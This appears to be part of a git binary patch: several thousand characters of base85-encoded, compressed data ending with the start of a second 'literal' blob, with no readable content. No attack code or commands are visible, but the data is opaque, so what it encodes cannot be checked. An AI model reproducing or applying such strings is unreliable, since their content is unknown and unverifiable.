zi5vXmUbAWX(&L`;cY8bAcSm(KUi?q*&dr}+4?OBRH%$SNr%8@2EPft7Z~O1Av+p*E zK2Vj>{rINZ_@$;Sn||@f^2{-6L8lYLR`ejw_SCn5$X7XHYAe?Ieuxx0Y84Bp{VtmN zVGXd)$vgiF2hk?QTujS|tEs}C_9L6SJCA}AS|6F!$r4!j4145XB}2e1{}_;cB8PEV z7~d9=&}Je#LZBGw#$}1zCdxY7`qLBVNtHTu)92W6X`i#%<@{F5xNM6VZb$^mLSW<5;C<> zCy{7p{&E$k-hJ3Kh|Xxuxs_oFz-VI_tc;`h`0#kpDvtIx;J+ z5&%};Q$?FKWSpNsYtcW)75CP|VZA2htbU@_=DUzac9r{G{&SP5NxT>rvAS5oERT}3 z9gTQ(vSUE#E3RbmAG$~UORAH2%)hLD{)v7|bho@i$^TgTl1RNdQy zbq1q2rw&g<1t`EQG}4p+Y&Z-XJcWd4RMO1DxFt34q!~?K_t7FY<|{TajY!q2tUqbG zUkT+i$+R`n4GSfhUbB~B;KjB0(ePcUyTD5Zy{K8SW1fvUr4LSNNVU=3WIsCzVVaXI z?dk9rCp5of*Xesl{zg#M(^+G?wKOOU44jC;?rrXHWA@z3Z+5CRM6y{>z?Dubs%N}qo9S{ zS_O$wasG_3Z<*^X;Md3YH^N?)1WxJ;U4%ccwx%PFvT1!ZxBIQl>=yn$;s2>uvHEN> zl~0A6xwQdOF=!X_#1M-u)!H+HJ2f0SwJb^bxxe^o-#>oY`F<@jcx`K%Ak?zuo?F?# z{$%I+lJVUQ$}4p0<|pEJ6+idAut=iwzP2otbB>!Mun3 zq8ZD|>YxQsvq>>*8$kjHs4u8H)lLKd8HmK%f5?@iXR5U zwE1+9gG@C;@8hr$J_-{_UTUxD1JbS5RLnm-QrVg#vsuVUL$P8#96lBs2!XQ#UG?5? zMVw@;-DkyZhU4<8idjOCL3(pPhXaZxSGy~DC#=Fo6~;=~Vac9)zYT-h!Rg?Qsg{)- zznL%U{ZAY)Gz>aOGyFW36BCq(4Y6(N9_UIQ&91J3!Sq<9*;SI0g_uM{fo z2TyUQ2|4=H034KRuCEBGt?2r3WcTv2ix#LOVNy8Iu~IOJVsx&eHPevxN`UsP1T9$~;+P zlF?`n;PdKL!nZIPFobwiA~i{}^ehHY-qvgANAv@A*6OTRKgM%dHsc_HFered0RXDL zMD5Mz7nk4nB?O<#w#m>)tpoDSRUcFRQ7`SI2MX-Zkn*i?hBRBCCTe)^UNIf65>Pdf z)*;>DP(KAwX_HEFN&QP2*MWB%0|EG~L#Kpu+PUm82Uo@}OKl+q5xCXzk6O7C8A>259cg;Yi}?YX(Ej@m5)7DnBf z*h((N2nfQ8R?e=%(T5;CP~UL?$Q-oIE23!-4Vt*kpdWvhovCFB`BT=$Te=u5#X4Ge zMSz90&fm0%{K4q$E&JH;Vx1}YD}ysveqDV7C{dustLM;BwouaQ*GTkoL_bwy70!u- zJWrENqw^Q;8W=O~J1BBjFc4(Nf7zi!w>p1okoE4yB$}aA;c9*mO;fv)hXQobqi*%P zd%h22urez5bb5giJ=~5La5$E_sicc9+qhn znAtb_ZlN+a$6Bt0U5cl;Yje4><^w|_K&x|ocXR&DDvx@chC^s~7|jdEgOC|t84%4F z5JtznZRW<3(5}?VDYCLrPGWy1Tk!M}bI$x+7h8C&7RMe=gOaui{*WSuQkIpIoCOeE zBnL0o_Qimqph&GbAn^6^zps6UmMV=^-!Pa{2vrNvEZiyX_WDTqYT(^iCZR|zDLfev zs{@lq`;l|lc(h4=alFWfu3_RRax_S})a|4{O=JTZ8u zKKTdxJ0+AidbzKXv*AUr>G*<=U(j;OK}!if_c3+Eo*W_*(jT9titSz0?hvJZa}O>SqZos|E+ zDqjhu+TGUsTuOD2C7^iOdE=W~f22O+v+S!@~3E~2)+j$7sPhbfc`+E`<-cT4bF^8cB<22!-@9Be*iy( zCu41DRb_GX78-++8XQz*iQaXNDd8OAtBWO3baj6Ue>}7xeKd@oQX&2RmY!l1#hCdi zIN9zLZ^!SFR{l21Hn-YJx&+v&g(TK)!2AuXO(nMc5^fe@n#dG0J?ntV zYtx?zsSP1(4?nmfiy9pBiliT8!;4iA|3{#5aAioU)SGY@tDo?T;1XtB@CsZ8F;J1$ z?(>K<82%MtLxGgQ#mMkNQm1e$bJ)X`I+QIcDW*wB+uL= zUv(LOTaIyCB{R(O*>*)~LNYgG*Gc8tOh7&DTCFCaQ840WPtRPCJ=D%vnue@OMpj}y zwecl|Z7)X*kDMNL$ATJKaLW~*`x!q?4QvXuz)%a9RIYnx3h3LPWpAFS=C-`lK!v`m zCgO#txFkITmAm5+*5k*i!FpfwH^}jI&X;2u|5oOjj1F&)v)`MWMmj)>u+G>0rO3B5 zw)f1=0WM{C;{EJwXC#7?lBNMhL|sHX0_xyIP@eYHhD`g?IG4zZK5P!GrNam6f_uyF zyzEHWw-3V=!Ae8|VmVco7%+DBN2zpa5*`s1)VqLk2ShTTk16vOLV6Uf!NS|fk!|2$ zS87C6k;6N~YWQQIljN9=H7Q%OYZ?yAr6NC|{f^lw9jX(*&+jn|AdevPj1d|+-bUeL zQz)!_UBSfRM>UGX%vk0T$wh1v@$=~4#6N3>R+Wr@e z!%c)^&XjqKk#vg^d^^-om$UK9PrDyA_J&zJap&>u%C$_zT#Xd%IZE>HpVUAjG=ShR ziNL?_#(vx-1m_aZ{#e|9X`E+9I4JeUNRjNjel}!6`z7%o;Colebo4r>HT3MB4YMV1 zYsQYh3*XD?!)qX{=Q3%(OyxJd;nZ%&jUxfAo89+;-99MA&xFyMDrl^28shMEFUU%s z_-Zb`9mUG_N<2IIv4_!yO*HYx3$_^KGXNOG`g&wQy;bxLZ(GPqT_=+CH=s-&6R}ME z&5*1*_6r-OH=}H%e8+$}77G^o_1^twsZcoQZ%HefoaGlMaKj~1MA(gRbJX4T7EaB* zOR2qM{_8H*Lx`TraVsf`k7eQsGekNmGg_a69*c-w1HFr;G-5G3Y)r5p5qCAQBa7G7 zP|k3sx@+;+AE5sG0Gy()Q8d|CrW1Ykk}BLU<~Cx!R>8}aqYjQKWf6=^5Fknt(|U{; zbmrjlP$rc7OcCdApSqMJJmGP2k4!Q_ewGbeTXrD@Sysb*_2Ey8LQ=%f&b$6tYhsJ_ z_N&YtiMXyl!|b)D(zVy|+bFs^!TcWS*+uQ@EvNTqIbwVjp#5W_ueRy&LP~aDZgA+t zup~Dbt)mf#w(=!Co)shAhWzOZLke&i^ML^@?cjIZ%C7PoMhl-#3>dLD_IfXZ8#WaC zv=Xi{vA^`ayVyqln8W!|7DU5GU8y9;sI)jI6z*N8wo!bxf2)>~0D?mKftQ471)eHT zR@S3LXR5_I8)SAzfs|mYo_8@K~QwxF5s=ADNZOc zla|R~1~z*La06X+p3EA%Cn+k_6?&x#>cxEXS3AZ0J5b2ZJW+&y@Fxk8yEw{@{o`eXAKLe8NmxI$F zs!Ie-y>2W=XHtD;pZ_5;z0fC%6n1Or4-3sk2|;;-0vGRI>&N{?-!Mj1QDUMWi-9453t3b|ac39yw z2|Y96AGg<2DRQ6SvdP1EesAu!Tb)l0^?l4_guLB3FmoP^I9^tG>_DT)yCl)`V~8>pe(sIx8aJNLAIxDUC$!wP4D2)0>U zxMC_r$aATBEK_`pJgd&uE%YeL75K?tL4WGpu>0FM^D6Z{q%t1R62Zq&Cr)?QwBBG^ zyTGZf*7~VucvCS8e4VrJd%VG;HfyY2eWlZ8r-AR#F*; z*U-m?G-6TiDl~02Fl;VZDqCS$8nv@kcQnKFi5IG31?gVMBDhBKsB)UMX?ep9pKuG} zuwH!?ov{2)V}nZT@TxB(=2*Y!WIsVgOZu#&DL3U>pN70@u$a+efPsxQ{4YPm7^I4o zb_mb;;A$BnwD;KhzNZgeZzTKI{V9Y%=4B4#S z54Pg6ZzxKdQSlm17=&Sfe=|x+`O+28dKFu*b8IgH9Z!7KX4LzKlBg zJY5N+5zfH)N{}TtM)H=l+^Eu|Sl326(VoF~@B8OWoB}r|3~uHQzeNc9^xIr50gIOo z1N2Y&0r)}j`mN&^EU4cNu9_hkRXkQ`)9|4M)O{*#>fS#xO2;Ax@fn^hT_JM=g>6s+ z4oweIS-siXhk!Rd&x-TaT}hGjg!3ee_W=U6ZD?&~e`0$%RciR2f;}Cl)FZqr#9y_E zJ(tlymNRo?74+}qEPMx}Kr}u=c?4o{5&)u~Ky1LUB+{6NH$W*}J+5$NJ(r-ya&q)M zAXa0m8Sh`fyXY}+he)wqTxm!QShzOU7)!JSbCm2yo1`Y#~4~>@a84d7clP- z(+Ef=B%5=*gHb-8Z5`k{9&*@%ueDu7fld-1BIM^pEU@epr&TKG+*o`Yel!L*das}J zuhA2vgMM!AZt(!|32nw0u{7OATknJzV=&uq9;Z$!(pCw_Y%9JJ+L=R~~`1 z_3K}pnmNanx?|=F;mjXj1twotBF)@VykFPPV$`ws(7!RS+q0ZzE{Z5WBZkkeVISU9 zL}$Fp!k-a@Ny=ygmiUX_?;2E>iVOR`Lq|SqUp)sN4chm!y8MvAyJ>lkEU4(ST=kX5 z&G`bS(iuAe%vzfmS89}$qizR4UJSv)ii}EB3N)jVy&DWx!d%AA+eVdUUns`|>_@WZ zt6rg`BFI|}C+~T_q_NTG$t92pwE_{0hcn{I$4RGY*g<`NqHd^&J~GCVsV6a&Z+s#* z-sL^xV-M?e4&AXj`&hnW&hzm%g$vfQN$G=il>`8Rxz%*cq~J+By@V8NXg1DgXz3}Z z0;&@qy~7|R@?c2&GZHcGDC$Swb+*OG?8(E7?0aI+#Vtu5cRHvXip4gSudoV9$Qqx8+b*Ts0SDbuk2m>Mswn$4Hm2AhJ zW)xqI0gi6|@J^#S1!*~Y>K9YLRUcyuLKVQW`}OsmQOND_qcT=AS0ZiCsV+ssAaN`) zXk`bb6e44w+PO)%374C=yRNSHI94l{L;%WGnWL{{ar7~Ty}3y@M z7;6VVmohM_0iumigFB?)8Ww6+9`_7kY6@{;bd6qqU8xZ_UBU^Gxve z>Iq=+n{FyG-LJu3m58efgN|uHZX3#427Opa!q2{bjr{P^%coxKKsEP|xudOHNA9(6 zq#W()ghGDtdA47YB+57n-7IENukPSr(mHk!Sc0%P-W`8UzsWax8p#Hqk0fvT+$N>K zv#B<>r8iL*+svBTc}}*(91k*ELdMjfOS0JNik=}PS6N5ba3Ny+cw&Don^qrE8LWw- zlD(9SWDA$PYy9_|vSckoN+@3-v>f zO;W9fDc<1~SwWeXIOGM5Vb6xnsu=tcvxYc!6ywXb=g=fwu46mKQ*nj|+% z)z+g~pz+t!Exqh<(a)C81QD6~SRqc$D78Q?1D}oQA`Qm@D&EnsP7QWC>5~K<0j{^6 zm&aE^Vku_v$?HR3W{br>3O>lwr%QRR3f8CE$k(3je+V{|tY64p`nSi2E_kOmcJ3X@iT?5S6!Dr9gU8upj?U_9#|lvs(SP z{%1VWnSb2m7Wwm}k}q>^UQjxRS;1EoWF6zeZU`sMTHnw1%~-p9P|?`2Ey&qiWq2Dx z0k!k26A8(EMbZP4JsTlME?*K=w(8epr`1ApLnmLgF0K@4q+D5}?&RCBb7`KqLSq>A zI4MIaiej)Q@FL?C%Pe=gTOfo*mtTwa?))4Ja;kW`q>65t^RG7>ciTJKyKl*3Z;$ri z{}Pla(H@lW1GFF_^89s9>;kW}h+TGh<__|{9ZJSp{2Kmn|8w;Zkll74iU8TiiDVxQ z&=!k3Qrd)H%7CjjltWf`Qz(Mm7ZX@q8udKQy`E(n8ZqVFp7H3%ygW{BF*6f&?EQk~ zJKC}-zNzzONuYQ8_gZyQcoq+^0@m0Ivs~k{^=f>zqnhrt&0Pkf=4+6N)+TJfHXY=)YT#I+2x&TnaCL zyBxCw#(jyWcR-|yUTanTNo!M3&D#ErhoTw*yYZwR$b3k$uP8|*eSb>Qcr1$sS3eb{ z*3#$mdmTrNUTDhxs_K&wH`<-XO3MSW(Te)}yP1>p;}$8a^f~u`pw*0VsjDg` zGn-5GGA~?=C;(&()S?1&2AD{shR{#zazEuXH}?J77owXNiNWfKE<5S_7i`S-H(#1n zBY&uF0wUEq&nG1(x)?RCGbo0W7k^tyZf>NkU9||P!@@`>d|@fATDKLxtO%&&z9zfS zAl9z+7q#{y4rDd9!pHs#VnWeXbhYaIUqT#tgSN$pklXl6OYs>uXINu-A<9x}x*+!` zo5ueH11bF0Rn3+GHuo@CN;lAxTK-F~{{RB}Joo(PukZfG&-flui4oBj9Bev^@KJ5a zuVw^1L@;6@G#aA^fCbz=$MVF6S00QoIFXn4Y z%K`fuiZTiEiX7Ur35$;~O{h;J!1vU-{jKr-ZuGMRbVN>%;gbsHq+yL_K42_!PJo1Q=@Y(wR1j-8lV@^1o^+-LWF{6c zl<|#-OcxjkQK|~PLZM{Q?J;=@zIy@wa8Z`!ko)3K`Ak=ue69Rj`DOlh^O2geg_2X| zMPZr{IRLu`&`*%mn28(15KZm{3K}yGuj7_iI^uC=d$hNf(i#i$;BvTgKymUxbq9)CcwW*ZEAp@zDfB!{e+DEVE+An z`}y0I+-8B3t8`oYtd}MPxJVS~$m(NQ4Kfa~I55BP@6t?2q!rP$ScU-v;sZmuk8C4r zuzu&JnSk~R1y)@2E`@2qg1aUSVlF6WM4^8h0@qjG^{91v8qMr>7bBODF7e%kQw>eyOb zm=pc#7@7;K+>V8|uVr)ox>!{r)_uWIKHP-J4v?8aBSzy7(iFhM<5 zU+s5XdcDTH7WJ9J)mEVwxUSwDhn*?xV4{kAa#F!l@S2I^SxcFfywq#p%Oc&h7^oJ& zGyYSfeUUFg{w+Kf{{R%qVdDyzAoDu~d`5)Zkw#MXYdjTp=^=(<%me=brUm~1F0ip} zW(xlR8Fts(?wm#l3I(vqU?D>pPdP9S35H0|grV+#<`3%&0QGE?CNejsLnT}+mEwi~ ztp1apxN$HF=G%h{;ewkQZSrx!VWJQ^wdE{tfVwzN`?p6 zDup^Qh<+d0H7{6|_`vxBDTh;EIs2fqwOAkV;obIc%%ot369#M1i0WIgqG^Ak^wKx7 zWda@rtJebEARzjs0t#4lUjG0^=Wtmd@O%|?O^^JbCna6fi^&2t;h`&oA|OKC=ON%6 z5&233#c~rD(zXO@)$Kt9>ZW`Xka8P3qmxxObhoK*)e9DLOvz~@{x6wuH3%gaFME!P zP8yisH$1~>WYy%E6T-HkXs#z9(OiMpR3^P&A>lWl3C9ZqpOPOCh>D5087vpYM~+P| zh{qSvbOf3nb+{;n&wnf(UWwtU7?=(;#Uy3OFrO13P-&ucU=bIyLnnP!pu2gVvZmd+ z_=PDTCy!=>kMtP1D1}3f<&tR-=d(dI1L}e|WFln#><#he01;88@tgx>7dw^EGNczP z_|nbPVrN1m$~=CweYa>j1qhR!%{#yX50$N#Oz_u-Nl2&s<^Z7@SX|VILG>#Noxt$O zGuc38K0#!CIRg{ko?4QJad@7|_}G&%SK`2@)mwfPs?LgYpt;*t zU{IUjvyW-l2FI9PvwWLt*|zvZkGu=`)gUDO#jmCvx@=LeC!4~HiMIA5-8IS-3Lw-w zr`WU?3%0V>{hT5U0w@)RA=GnN5^kMZ$*43r*2}=UhQgbw7-W7=O^cdkXS5k?$cQ2Z zze;NlhSXOoz4Baz=7LN z0O&!W1<9-T@16k0HtBtfg2>XWJ2(I?ivTWuyx{fjglF(&fcbJTg=tcZi>kbH6)VqV zZHCiF7iw#kMN;wgFtoxKo$+F(r2PfkG+9!-$AyMOImOtCpe&(izwfI*h6D@M&>R`JIk^)ITQlhDO?~6D* zU@-4AG?C_jWXnRTRuiFM2o*1J{^#|Uo|DUVgS!6!T5tp&fw1^Syrhszk62Glk>T|6 z;bf(OC%U#l4YDHA2zp_^W}FC5p~Py~9*IHWLa;~)ys~kTo|9)MlH?vC;IK@g)5~m7 z_porIm<9-A5SDl72vJG$2D5uB9biNzPQvr z-qXnZTE0xFto;&>y`m!J!4VBc`GbzNwmUys5BsNF_4`X)(LgaM_7z=sw{#jEkYAdB zj@C}Ztnav#ZW$+weRu&7VYYS}9s2L=%DW`HbtT|YEdt|!1voX7K9HSZAWH^f)Zt?W ziGk;p=q9&!GL~gm;j?O6Tn6ZgR~ShUtp{SWxRe$Ag=HpTMHA#)h8Z4}ma2m$L#*hw zS%_0IE4AsLg1#Bhshvo>x&YjM0rVxj&?*?-DU^>*JZVv7@UE2O!zjuq+{8{1w26fN{3u$iEJ$n?6bybAn;^S&9&p$ZSvhD5DiD+_*yXzARMKpP;*Diz-)` z@UY1xyYMjPUc#PWlO`ktbs>qMTg~XHD)i%n0>h`{{ul;9)WK>GAnX{lw z*Z%?r4KfheUUrfP4EYmd|@IRFWNBn~NX0Dn=}dv>%_ z)C^#xe1H|Iua(_M3(2`5Ebi5L-7Rg5>#Pjf%wtU!tSsz6gn_5(BSA1|VPQu~z`U+~ z-u>sYy@O$t?OG0Gx{Xl8`jquKga8Hx;u9KkQDl&tfSVvDq51*ewzgt=1Q{~4Mr8Lz zn#rMnc=hfWbj)#D1lp-ZS(o^BSr-e`-)zY04Z5yDY>D?egpxOI+`&M5Y@x#{H5{D~ zCGL~W;~xS|IgpTww<1qnXe_=3bzHJ4myfB1rVzaEixo8|=q}l!%9Z9kEHYgnF1&!) ze1K5m^`=76ODqxjteMRc0Yreh%3=p7erXmxYN7uChkqON&-=oDeL4Mw{yzp9f~YXG z90$?BCsXd{@qYDQmQHyr*;%yCT;OubZ596j4h~CM5;m=MH8f?E3c>13Zi-bzm%C>SwWx=Na;w4>Jfd(kz`|g&qP%l(xm~x_!y?@+$%8AYF zB5`I17sYCF8z;E}GjAnFjTSIUVMGulb(op-3G_8d z)KZ^CdURigD>06S^0|eD)9q1-@ZKamP(k8wIU7hbipWH(JB_M&p#9ptfV#f{IU@)_ zxGE*`md9MZp9C0e7-*MASjI;9!4MOVjIbp;0GQr8o^xx-mHf2%9osXkL8{XFbsZfR zVtz6)4}YSU<{vTvl3G^#LVU11*GD@N`r>DDzEl-ID^Z&LXfK^`0dPf2LrrK-Pb)s^ z{W1k(g`$@%(tR+OXavuAv)0Unh_DilP?Xyj`~yrYf#&$r@(iFR>CASy135R8RU^Ti zWUqRD@J>^RgW<1E8mS=?1r$M(L`}$&$Pz(N{Mj7;0QIcC^wzXWW^)sIv3!|jlNrLh zoRO1rFfzLnPNsoRf`Csz4}j7jw6DN2u@c#Z$BevpGK$0_SrnrY)T||qGC9zy^PyXU z*c_lD0ZLJlGoVtm_ob-e?lkkh<`_RlV-xt)gxn|KgD%3pNbw`r6SN;fO|Mx>Jn{? zc>O7WDCqSIxUc=hw>P{N02|~gdw)c)z5CDf{QB|gefz&48YEw9AU2{{?9GX6DimNa zY_3RYRrIz`17vrMSFmq7VwP5}4AOwIEtZ zOr-BIv|W4}5#$>X`u_9eVSuU(RX8B>&`1GiBS=c5g3>f5G6wZ zRZ9RW@Vv&FSX4rQN`lK^$ua6%_QjqO#$Pd(VmP{y(v$&4lTZBdKvc9@huS169md}RXJ1laUGCvBgf z7vfuFhqy4fdZao98A9<4_iBdb&~{qR#mxs&$4KYvAflICqI$S50=SZMWIe|Xc5M&) z;ylMmE*a=*8e)O~mP#kVw6Zb1`4d-(>rQ}Om8y9LR|R5q=f%;1(x{m_m?k(96shij z%pGA0)Q&|NASSetodT7oy)8!%ai^X4Fv0pW7~h7bCgDE>9}1O$XalYSO{Sn9lsrKs zAQ(cbS^xqOZC2HL?(gD$nMGk~DxN?PFt-YdXGr-GVu&i4oykb2ut<d}v{N z5iq_P;y({PzQs`?%{5S9NM6zPl(^ADMbd&id8v&r8?tIH_Guzb^qSL(Ob* zhbNqqIguIn3x0$uBOicPv|67Bp#EPRwgD2z;eK!`6BZ*9o=cRe6Q2mMh^8yn@(9whQg$EIQ-;+3h`;x~}~TN2sOn{h(+B60N)`Rf}D$WUGZ0F|Io@ zUg?N;vKxDp2$Gf)z=w}T{6g3c1r^Jd(pgH-uee{;fM1#8*2yh?5i-g-fJnyuE zd_W>bO=)+f3~od)t$Y}C7A4_fn547%f8GEYnzi4%h=5mcdr2z8yGH1_;5JKD!x>0% zp}NJ}{a3s|WeZYQ1isd4<>f6LXl5CF3Ab40ji5n9UU;}eo!BJP-{WFQBS$1xjoP5= zMu8&677k+@t5V}u*e3{l4A6b~Y7?Jmk})Dd_VcB}bp5gTrzWSq zw^7#90buo+fzb(blHK*zqK|Aoj}RjH&RiD80h88H6dZvzFKVbhr9cGo3g2y;ZFB}c zifQnZK9>G?X488w;$Rez1Y0mj?Ml`8OsMEx9N+{13Ic#0002&uAF%PB7;FJ)cvVSK zE*EZ`*QOwrm$MPkDFX!Y%rlyG$##=j8_FD)X5>PIm2KLMyj;xt89=_zX0ykJ{__J;&Kv z08zS(tJqhUs-ami$|P!%o4oBA1Qz@=ew6;gRr|O|v5yh>dF}Qpi4Jw%0!EFm#RG-Q zIstB@SkA>To>B`7bGYvLiK?4O{M$5os`~!`@u)|F1_QdZgDncFTuOx6Nnw}SOL({U zV@(j2c>1Qly)BmJIlK$w5Vx3#=bYnPmGqYP&n`-1O{O-Q`z}!&;D7LH*THtwRKa)2 zhqb1(gFt`)4s%+dszF5Elr-iHH@+z{jySwGCTcv+FU+?$>68^q`s(2q4H$S$ZYEmJ zVc6_-Z#~7ARI<_{rVvj7zlUg{0E~?O^tM}==CG}VEzbUB!E?-m7~T(O0?QPA(|CAI z&I@Q9!_JX%f`RvioFN!O58w#I9w7BTwkCqC_Jkf-BK>>vZ*`1F8L={=HvCteq2*4@ zjxn7B6K8SiIss9RwL}scWDN1m$h8f+;xs6+0c%)C;Au&j5Jud~SI)wg*-B=hc1z}z znN`&bSK*+yB5G7nL?fc%=m7{EQ@s$tl(y6>Ta`$dcwoUVp&pu($!&+x;sjqg%YxXz zGJ47agODcAVa`>R4OCTDt6O*F;^43Ao5wHNY(3h}HO3?? zlJH#RlwH?JJ`J#_cV~Ap#S`|;@}P_CnUpof{>tgdK)%Bugu=kifg)$xxC>c4KUR4D zV-=VJp3XV=v_z)ph-_iJ(~8*gtnjQgVDGfSkK+&|;C9|z7!@8pDKP%r_VxUBr7gl{ zZ&J~uAmnj5B%g$hEtVa> zJ5sfNQz|+aM>z~HV;AQEWa&Y7*kRjskev|@bz3TSi%S?ZpkIlD1iplNYELD$A4iB0 zeCI9;V*ttPC<+chn27Q`b$t@>oi2T49MVu7m#9FSN?lLy!|LQPMt~` z8kv4SJ)4NwHt7Ib*B7Ca;+t#3Q1p=B^o%vsJO;bZ@oTqkN_{XeA*>fh`4n826IrK! z{fiO0MFt~9hcXRzG_ZuX<#WP>U<-^uBf;k+5*TV@ejfa(a#M#3M?o%HJ*af ztP;b-^(SIq4x__o0XhEwL_6kQToRiI00D^<`cwA&2nUo4&a6A@x#93~y$o;QjbZ&a zqSB%oqkt>4(J;^`E~uh%g-wP48n_=4L&h$&!yOoGN`k@A2uM%pES1;sA&G+{*D$Zm z`(un^1LDxKsm}D^UIJm0D+pe&IfN2Z{u5bi8%Q$d3K{0$Ei@|;dRA!cyAD`L9~0qL zuHog&kqtmI>@fcTHWo&=)#R%9Ja0L67z6AoIWe5*8H9)hXI91!he@N_Z5Hd^05PD3 zQ56_O_6`1t)8mmBSXdsAIP7jqL3JL~?L}a-;aI?&4iFVkSFZi3{b|SS50jMOmgD#7 zUZvu@dfCu&fRhC`J%fO9>SD=q?VqD)pg-Y3CUf_epOloh_!7$l7nN=cLYAr91|UxD zV~Ek)8GNnRjTA>L-Cj{*E*$VxSkX~>P}1)&w1XXjluQ6qHY$f0$nMurQ;KCU3ha11 zeiT@m0;{*Tq3Nnt7?D}U86&Q(Knkmd%7B>YFh`(ZWpl!Vu_EY*tDW&eF}Z6JvfhJX z(&k!t@BlU{@L_jDh&=$KRbHw?Su|Wp1OlKe%i!^hmm!3^vWn<5xkSa+Vo^Il0K&uX zE4rveD;VMzLjX!{fd~LZ)IFmA03}^b(Lq5Ny4Gn|^1-!pw(f$}y$hCvF>GC4YDtHV zI$~^^N!la_>pRvkJ15IAvnNuR@nT(9a^)f4k47xJ(RBb9mq|?ZYo$H@Vw_VL)SS=p z#qOjiqfuk&zmmkIbSB{K4*~4VjuZ??kYyxEPSB8fu4Q{de{ZXNP)f}bgztf zw^u@B2mpvGE(^VR9wDqoMhY4)ukFAYsT_>7#%MPO-v?N`pMZiCE<7P-YT(vJNS{gRQOfN&+=7_ohCW7f!2dcH0^hHW%sulP? zYw!1*?NXbo`Jj0$*8cjr<;C&(=}I)~f*`u_lbwtHBe zZR%5nqx@|^roTsExd7D)z-(Z3gu4;zk?0aS4Fl?=ZR#}Xz}$p8P^cI}N~EBdQE*Ab z4SlFghZIK4FT_}+ClFDn(8e4SGSFSXZniZMF~a(RAR9Bocz_CJZb$e*?dHh}7aX58 z8VcqnRhr?zN1c|Rk*unrY$X{rCWH5Qj1!pbbS&cz(0$>~!^0vVa}9`qRJN^A;s)(fj8EI;%OM>gmrxd^IIz-Qik+x@dh62+#X^M5}QXvjedsP=Jnv9~OXqK_iFoG5Ao(z_#(8@2MjKTL8cuFM>s4~)yQeOt$Ksz zC%4YQqJs@G;sm&%Cxwx8XE(;#lIRLnqrxDj)ZW7-9r5>zTS@*Wlp-j#X4??0$x9FT+$F zOAdM&Zo7Ts)k9apn(q4IUKv>U6avjgRSU#}dz57msyM(!)=p7-X&lE~nu<1mG*wR& zoq6;I^q}aRpn{jaIdZ-B{agxv!IFo=EGmpM>U%8Mb9!3f8Bi&62DDH2QT+LL`vLqh z{?eb94u54okH@p5khdHn8;Ytat3X|JVherHI0>7b(8to?SoCAf@2WgFq0xkbAn}Jq zC%xuhIv-^L6ETjl;kXAg9|BP4f{wwCVAB8%PzmbrJE7_ZBotsNH;=Kt1aN*SNFf^( z-yw%Oc&3*H0pyj$fE;F#)t30DbfK_3~r*kK_FHs>B^6FX$K)gyKRH4z6j{Bj!T_?&T2BUs)#o z$%1)HG!?KY2H?g5s0y6Y#QW2~iEUZHZ4l~_js!l4#kU7k0>G6M<}#oI3Q*%-smx_mL5dr%QiD%PaRlmgF-}cRgXBy5(u>~P# z!BE7`K7OGvYm~S*ki(+<5A?%- z0st8Tf*}N{01p)bqY*QCj{<&QuUvAYv2=}kE_~;cEA*j?=5eI+n?>$pN^mTEfFt0s zJ=A^g{4^f7VY=i0A%O*@%RdXA>~2j>KEI&WW|gzzA<&NF+Xj~f2GS8z-~+b+%VqfnNE*2CKqM)n;0xeBu%HyA?M5g< z4t6YgVnH;Q-@U3B$kPm!LKDD8nWH6Bk=ns1r6c)T{lD=)pXJA|xZlzrwSRxl;os6G zrt%YskiiNQJ5$_drB=6=uG6n(%{nVi*U!M3w^Q18yrky3413=i$9U% z#)U*l@x2W{Q4u{fec-YTR&h|P#FCPi;yfjWEzma*RLJlBE;K@>Lyk6)h0!;M#pK~r z;Zckfz=|2CLMLsXt;}BWgXy!Mt^WT27cKt)ZlgIK?s;~o4+m6<$k_#P6*dS`BzO-a zBDnTXI4F?K&r!>L9~B)VHj(2GMvyzz0@HsB`#;J3_w2ue{Qm$Z4gv$o_3MD0e9sGs zbO=Qo!-LcR02pKEzh9Y#49@jR+T&YOGvbTQ{{7U*ZO`z|S)qzB*x1%TOhz+^`@bp{ zN7&FEC4^wAc-0}%M~L&J0bta2m$W4%lwziAuC{q9%c#w2Kmup0vfh=f4Zl=~24 zk`V$D@^B&LbgRJmM2*&IHJ>4VR~;Q6B6i(d2M?nJ?(1 zJw(^Hk=?T4V>3%UMQu=SF!F&hgGfq|xMq@{CmTWT9>%oxp^Ny3qi~V%8}{>@#jwm) zX$v^c>*+8s#aols4dXhb8Eep}JfYE?i!T2F^q<0e`tj>~vyG2o;yJ2NMKB3O=a1OX zA~i=5wL(rA*M6+Q~a4bpzSMp3OLpN~8QhGy7lUe?Q5*6CVEn z&V|5PcS^og!!tg^&fevt8 zR|FH+j{)3Ao2+lEDrU3Lo9*M_V1*DQJ$ma~_Z}f;IjisSNdLmx)J!&)m0G87B ziu?o%@dNrEBk%i6M4(hEK2>U~rx6XmtQqEsLf3_#yl^2`x{?Y2z2^dy7Lvk2# z_);_Zw8I|iKij!-jdDKFzn}RD@DxG-7#;zl4}de*Zg8Eo&IXxDIXs^U zAxM`WO45Ey`*R*N`Eq*dRpdJQ_0Pfno!fu0PtZQHH?SAa9PL?I_?wvDDybgo1WF{i z>-e?t6`?sH3E=!Z{K7b+eCMmqc>EkA?p$s^ z?*`!X2uJ$-BEc+*J|N+qd3ukWiA4$urK+!0daqZmKtvjZMDU3bKJV>{0)~MC5KcxZ z!^1n@{w@q&&?0z3N%j%_=k==4^YOp?m-(3GD~p-vRe62;{{XHK2w-`9pbEpGdFp@l GnE%<`_!lk! literal 587962 zcmeFYcT`jBw=Nt-ML|HMNsX1>k!mD+qre6P1f-X2Kzb7p2@=RwnslX0-H3o8KlTRS- z^QSz|d9$422A$?U#ln5+1P=lOt2le=U&p_013pfjW;t{A9P9ZDZ0x{*#!H~nr&w4{ zpJ6$B_Me|Q6#@JobcXxv9sD%pStva0c~o>v zY}~8(gtYXG%&hF3x4G|1-j|k@e?V2#)i*RYHMg{W?8f1Hdiy?q=^q^%pO~DQo*@uP z%imX4*M6*TPRj1Ht`naAJP6L+5b1eUj8ph z_TL5j54mPR_W)!3-#bo#N&fd{0Pa4S2h4K#gaEq8atbge7H$v}M4!Se1v7I_|HTH9 z1Z?=fPX9+$06qEoUkd-fX=TupZ~vw6|GNqw{ht*Mbw|3G(r%t>J9eUT)X)~u2wzx? z(6cs@DAI^LoTM!T7B;B#WP)2ArPrJyexn_CUmrBW*l%h%JUiX{J!Z6XirOn+bOu~O z&W<@~DUyf{uvTXd#dsf}i0eoXhTlY~o?$*Zm=VhH<@qByie8HA$;m(G_*aiReDR>@m{SAd?rcC>|C1lga2$@PPdQ!2#V36NvMH^WnF&9; 